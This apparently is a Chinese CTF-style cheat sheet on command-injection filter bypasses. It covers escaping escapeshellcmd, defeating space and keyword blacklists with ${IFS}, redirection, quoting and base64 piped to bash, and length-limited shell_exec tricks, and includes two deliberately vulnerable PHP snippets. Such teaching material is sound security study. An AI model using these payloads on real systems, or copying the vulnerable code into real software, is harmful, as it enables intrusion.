0x01 绕过escapeshellcmd

法一:win下执行bat

<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>

执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。 payload:

dir=../ %1a whoami

法二:宽字节注入

php5.2.5及之前可以通过输入多字节来绕过。现在几乎见不到了。

escapeshellcmd("echo ".chr(0xc0).";id");

之后该语句会变成

echo 繺;id

从而实现 id 命令的注入。

0x02 空格过滤

法一: ${IFS}

payload1:

ubuntu@VM-207-93-ubuntu:~$ cat flag
nice day
ubuntu@VM-207-93-ubuntu:~$ cat${IFS}flag
nice day

payload2:

ubuntu@VM-207-93-ubuntu:~$ cat${IFS}$9flag
nice day

payload3:

ubuntu@VM-207-93-ubuntu:~$ cat$IFS$9flag
nice day

法二: 重定向符<>

payload1:

ubuntu@VM-207-93-ubuntu:~$ cat<>flag
nice day

payload2:

ubuntu@VM-207-93-ubuntu:~$ cat<flag
nice day

0x03 黑名单绕过

法一: 拼接

ubuntu@VM-207-93-ubuntu:~$ a=c;b=at;c=flag;$a$b $c
nice day

法二: 利用已存在的资源

从已有的文件或者环境变量中获得相应的字符。

法三: base64编码

payload1:

ubuntu@VM-207-93-ubuntu:~$ `echo "Y2F0IGZsYWc="|base64 -d`
nice day

payload2:

ubuntu@VM-207-93-ubuntu:~$ echo "Y2F0IGZsYWc="|base64 -d|bash
nice day

法四: 单引号、双引号

payload1:

ubuntu@VM-207-93-ubuntu:~$ c""at flag
nice day

payload2:

ubuntu@VM-207-93-ubuntu:~$ c""at fl""ag
nice day

payload3:

ubuntu@VM-207-93-ubuntu:~$ c""at fl''ag
nice day

法五:反斜线 \

payload:

ubuntu@VM-207-93-ubuntu:~$ c\at fl\ag
nice day

0x04 无回显

0x05 长度限制

<?php
if(strlen($_GET[test])<8){
echo shell_exec($_GET[test]);
}
?>

文件构造

payload1:

a>wget

payload2:

1>wget

payload3:

>wget

将会创建一个名字为wget的空文件。payload1会报错,payload2不会报错。.

0x06 LINUX下一些已有字符

  • ${PS2} 对应字符 '>'
  • ${PS4} 对应字符 '+'
  • ${IFS} 对应 内部字段分隔符
  • ${9} 对应 空字符串

0x07 工具

0x08 Refference

results matching ""

    No results matching ""